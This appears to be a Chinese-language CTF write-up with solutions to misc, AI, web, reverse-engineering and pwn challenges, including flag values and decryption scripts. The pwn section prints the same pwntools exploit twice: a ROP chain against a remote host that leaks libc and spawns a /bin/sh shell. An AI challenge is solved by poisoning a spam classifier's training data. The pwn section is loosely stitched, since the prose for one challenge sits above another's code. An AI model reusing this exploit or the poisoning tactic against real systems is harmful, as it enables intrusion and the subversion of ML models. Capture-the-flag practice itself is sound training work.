# side_length = math.ceil(math.sqrt(original_length))  # 向上取整计算最近的完全平方数

# # 如果需要,补全数据
# if side_length * side_length != original_length:
#     padding_length = side_length * side_length - original_length
#     data += '0' * padding_length  # 补全字符串,补零

# # 将字符串转换为一个方阵
# matrix = []
# for i in range(0, len(data), side_length):
#     matrix.append([int(bit) for bit in data[i:i+side_length]])

# # 创建一个新的图像对象
# img = Image.new('1', (side_length, side_length))

# # 将数据填充到图像中
# for i, row in enumerate(matrix):
#     for j, val in enumerate(row):
#         img.putpixel((j, i), val)

# # 保存图像
# img.save("qrcode.png")

y0u_g3t_th3_l4st_1ev3llllll!!!!!

import pathlib
import re

def decode_flag():
    # 扫描last_level目录
    directory = pathlib.Path('last_level')
    pattern = re.compile(r'^(0|1)\.(\d+)$')

    # 提取数据
    data = []
    for file_path in directory.iterdir():
        match = pattern.match(file_path.name)
        if match:
            bit, index_str = match.groups()
            data.append((int(index_str), bit))

    # 按索引排序并构建二进制字符串
    sorted_data = sorted(data)
    binary_string = ''.join(bit for _, bit in sorted_data)

    print(f"二进制序列长度: {len(binary_string)}")
    print(f"前64位: {binary_string[:64]}...")

    # 转换为ASCII
    message = ""
    for i in range(0, len(binary_string), 8):
        byte = binary_string[i:i+8]
        if len(byte) == 8:
            message += chr(int(byte, 2))

    return message

if __name__ == '__main__':
    flag = decode_flag()
    print(f"\nFLAG: {flag}") 

flag{92e321a1-43a7-2661-afe4-705021b782f3}

esay_misc

二维码分离压缩包伪加密

what解密ook

y0u_c@t_m3!!!

flag{3088eb0b-6e6b-11ed-9a10-145afc243ea2}

ModelUnguilty

ai分析

策略:我需要在训练集中加入一些包含"secret instruction"或类似词汇的邮件,并将它们标记为not_spam,以"毒化"训练数据,让模型学会把这类邮件识别为正常邮件。

在training_data.csv中添加

flag{yZ631WDM4z8nQgf7SobFcRKspBN2AhXL}

web

ezDecryption

看js

抓包

flag{d1g1t4l_l0ck_br34k3r_2025}

reverse

My-Key

操作的密文

import base64

def rotate_right_32(val, bits):
    bits &= 0x1F
    return ((val >> bits) | (val << (32 - bits))) & 0xFFFFFFFF

def rotate_left_32(val, bits):
    bits &= 0x1F
    return ((val << bits) | (val >> (32 - bits))) & 0xFFFFFFFF

def custom_decrypt(blocks, round_keys):
    a, b, c, d = blocks[0], blocks[1], blocks[2], blocks[3]
    a = (a - round_keys[42]) & 0xFFFFFFFF
    c = (c - round_keys[43]) & 0xFFFFFFFF

    for round_num in range(20, 0, -1):
        c, d = d, c
        b, c = c, b
        a, b = b, a

        t = rotate_left_32(((2 * b + 1) * b) & 0xFFFFFFFF, 5)
        u = rotate_left_32(((2 * d + 1) * d) & 0xFFFFFFFF, 5)

        c = rotate_right_32((c - round_keys[2 * round_num + 1]) & 0xFFFFFFFF, t) ^ u
        a = rotate_right_32((a - round_keys[2 * round_num]) & 0xFFFFFFFF, u) ^ t

    b = (b - round_keys[0]) & 0xFFFFFFFF
    d = (d - round_keys[1]) & 0xFFFFFFFF
    return [a, b, c, d]

encoded_data = b'RKCTaz+fty1J2qsz4DI6t9bmMiLBxqFrpI70fU4IMemczIlM+z1IoVQobIt1MbXF'
decoded_bytes = base64.b64decode(encoded_data)

blocks_list = []
for offset in range(0, 0x30, 4):
    val = (decoded_bytes[offset] |
           (decoded_bytes[offset + 1] << 8) |
           (decoded_bytes[offset + 2] << 16) |
           (decoded_bytes[offset + 3] << 24))
    blocks_list.append(val)

salt_keys = [
    0x7368aae0, 0x7254cd7d, 0xfad4aae2, 0x9c030c41, 0x5d72ca51, 0xadca53f4,
    0x1326ef25, 0x48c1148f, 0x0d1c2640, 0x1632916d, 0xb54ffcf8, 0x972c5ff9,
    0x6b3464ec, 0x89b4fdb3, 0x512da5be, 0x85183704, 0xb80d88b3, 0xcd8e0552,
    0x4fb3d88c, 0xe2a68174, 0x406835df, 0x53491aa5, 0x53447c05, 0xdb4fcbfa,
    0x3104dcd8, 0xb9d6f922, 0xe5531f6e, 0xab30b64e, 0xc87b4ba0, 0x9821b17e,
    0xb0fbaadc, 0xd83972c2, 0x7c81fe11, 0x99bc6ee0, 0xbaa16a68, 0x158eeda9,
    0x2a58205b, 0xc985b1cc, 0xd7210be3, 0x5d5bbf7b, 0x64eb76c2, 0x44e3c8d8,
    0xd9dfc75f, 0x541c238d
]

initial_key = [0x34456357, 0x346d6242, 0x5159486b, 0x58634173] + blocks_list

decrypted_flag = bytearray(0x30)

for block_index in range(2, -1, -1):
    decrypted_block = custom_decrypt(blocks_list[block_index*4 : block_index*4 + 4], salt_keys)
    for i in range(4):
        val = decrypted_block[i] ^ initial_key[block_index * 4 + i]
        base_pos = block_index * 16 + i * 4
        decrypted_flag[base_pos]     = val & 0xFF
        decrypted_flag[base_pos + 1] = (val >> 8) & 0xFF
        decrypted_flag[base_pos + 2] = (val >> 16) & 0xFF
        decrypted_flag[base_pos + 3] = (val >> 24) & 0xFF

print(decrypted_flag.decode())

flag{68f25cc8-1a9f-40e8-ac3b-a85982a52f8f}

EasyRE

算法

byte_14001D658数据

final_ciphertext = [
    0x93, 0xF9, 0x8D, 0x92, 0x52, 0x57, 0xD9, 0x05, 0xC6, 0x0A, 0x50,
    0xC7, 0xDB, 0x4F, 0xCB, 0xD8, 0x5D, 0xA6, 0xB9, 0x40, 0x95, 0x70,
    0xE7, 0x9A, 0x37, 0x72, 0x4D, 0xEF, 0x57
]

def ROR(b, n):
    return ((b >> n) | (b << (8 - n))) & 0xFF

# 恢复阶段2中间密文
intermediate = [final_ciphertext[0] ^ 0x42] + [
    final_ciphertext[k] ^ 0x42 ^ final_ciphertext[k-1] for k in range(1, 29)
]

S = list(range(256))
j = 0
for i in range(256):
    key = (i % 7 + 55) % 256
    j = (j + S[i] + key) % 256
    S[i], S[j] = S[j], S[i]

i = j = 0
flag = ""
for k in range(29):
    i = (i + 1) % 256
    j = (j + (S[3*i % 256] if i % 3 == 0 else S[i])) % 256
    S[i], S[j] = S[j], S[i]
    ks1 = (i * j) % 16
    ks2 = S[(S[i] + S[j]) % 256]
    pt = (ROR(intermediate[k], 3) - ks1) % 256 ^ ks2
    flag += chr(pt)

print("Flag:", flag)

flag{Th1s_1s_A_Fl4w3d_Crypt0}

cookie

改xxtea

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
TEA-like algorithm decryption script
Decrypts the flag from ciphertext using a custom TEA-like algorithm
"""

delta = 1988930350  # Constant from source code
KEY = [2, 0, 2, 2]  # Key array from source code

# Ciphertext (v7 array) taken directly from disassembly
CIPHERTEXT = [
    1452940357, -282301936,
    -79426602, 1469576221,
    1379922627, 1211333849,
    907455533, 112603437
]

def to_u32(x: int) -> int:
    """Convert to 32-bit unsigned integer"""
    return x & 0xFFFFFFFF

def f(v5: int, v6: int) -> int:
    """
    The v4 increment function from source:
    v6 ^ (v5+v6) ^ (16*v5 + KEY[0]) ^ ((v5>>5) + KEY[1])
    """
    v6_u = to_u32(v6)
    v5_u = to_u32(v5)
    return to_u32(
        v6_u ^ to_u32(v5_u + v6_u) ^ 
        to_u32(16 * v5_u + KEY[0]) ^ 
        to_u32((v5_u >> 5) + KEY[1])
    )

def g(v4: int, v6: int) -> int:
    """
    The v5 increment function from source:
    v6 ^ (v4+v6) ^ (16*v4 + KEY[2]) ^ ((v4>>5) + KEY[3])
    """
    v6_u = to_u32(v6)
    v4_u = to_u32(v4)
    return to_u32(
        v6_u ^ to_u32(v4_u + v6_u) ^ 
        to_u32(16 * v4_u + KEY[2]) ^ 
        to_u32((v4_u >> 5) + KEY[3])
    )

def decrypt_block(c4: int, c5: int) -> tuple[int, int]:
    """
    Decrypts a pair of 32-bit ciphertext (c4, c5) through 32 rounds,
    returning the original (v4, v5) plaintext.
    """
    v4 = to_u32(c4)
    v5 = to_u32(c5)

    # Reverse iterate through 32 rounds
    for j in reversed(range(32)):
        v6 = -delta * (j + 1)
        # Reverse step 2: v5_j = v5_{j+1} - g(v4_{j+1}, v6)
        v5 = to_u32(v5 - g(v4, v6))
        # Reverse step 1: v4_j = v4_{j+1} - f(v5_j, v6)
        v4 = to_u32(v4 - f(v5, v6))

    return v4, v5

def main():
    # Decrypt 4 blocks (8 bytes each)
    plaintext = bytearray(32)

    for i in range(4):
        c4 = CIPHERTEXT[2*i]
        c5 = CIPHERTEXT[2*i+1]
        p4, p5 = decrypt_block(c4, c5)

        # Store in little-endian
        plaintext[8*i:8*i+4] = p4.to_bytes(4, 'little')
        plaintext[8*i+4:8*i+8] = p5.to_bytes(4, 'little')

    try:
        flag = plaintext.decode('ascii').strip('\x00')
    except UnicodeDecodeError:
        # If contains non-printable chars, show hex
        flag = plaintext.hex()

    print("\nDecrypted flag:")
    print(flag)

if __name__ == "__main__":
    main()

PWN

User

经典菜单题

Free了 但是又cdqe扩展

Data段最底部存在 __dso_handle指针指向自身

又因为stderr也在bss段,我们可以通过dso_handle改自己为stderr地址,再修改stderr

的低字节使其指向stdout的缓冲区指针,这样就能够输出base-ptr的所有内容从而得到Iibc地址了。

保护全开

from pwn import *

 \# p = process('./account')
 p = remote('pss.idss-cn.com',22585)
 elf = ELF('./account')
 libc = ELF('./libc-2.31.so')

 start = 0x080490E0

 p.recvuntil('xit:')
 for i in range(10):
   p.sendline('1')
 p.sendline('17')
 p.sendline(str(elf.plt['puts']))
 p.sendline(str(start))
 p.sendline(str(elf.got['puts']))
 p.sendline('0')
 p.recvuntil('ted\n')
 libc.address = u32(p.recv(4))-libc.symbols['puts']

 for i in range(10):
   p.sendline('1')
 p.sendline('17')
 p.sendline(str(libc.symbols['system']-2**32))
 p.sendline('1')
 p.sendline(str(next(libc.search(b'/bin/sh'))-2**32))
 p.sendline('0')
 p.interactive()

Account

无限循环写入

因此我们可以构造出栈溢出淹没返回地址,但是因为我们会优先淹没这里的3索引,所以

可以直接淹没索引到返回地址。

劫持rip打rop泄露Iibc基地址,再rop调用system即可。

又因为这里的操作是基于ebx的。

Ebx来自于栈中,一般为0,但是如果我们输入0就会直接退出,因此我们第一次op时需

要跳到start处执行,而非main或者vul函数,用来规避ebx的问题。

保护

from pwn import *

# p = process('./account')
p = remote('pss.idss-cn.com',22585)
elf = ELF('./account')
libc = ELF('./libc-2.31.so')

start = 0x080490E0

p.recvuntil('xit:')
for i in range(10):
    p.sendline('1')
p.sendline('17')
p.sendline(str(elf.plt['puts']))
p.sendline(str(start))
p.sendline(str(elf.got['puts']))
p.sendline('0')
p.recvuntil('ted\n')
libc.address = u32(p.recv(4))-libc.symbols['puts']

for i in range(10):
    p.sendline('1')
p.sendline('17')
p.sendline(str(libc.symbols['system']-2**32))
p.sendline('1')
p.sendline(str(next(libc.search(b'/bin/sh'))-2**32))
p.sendline('0')
p.interactive()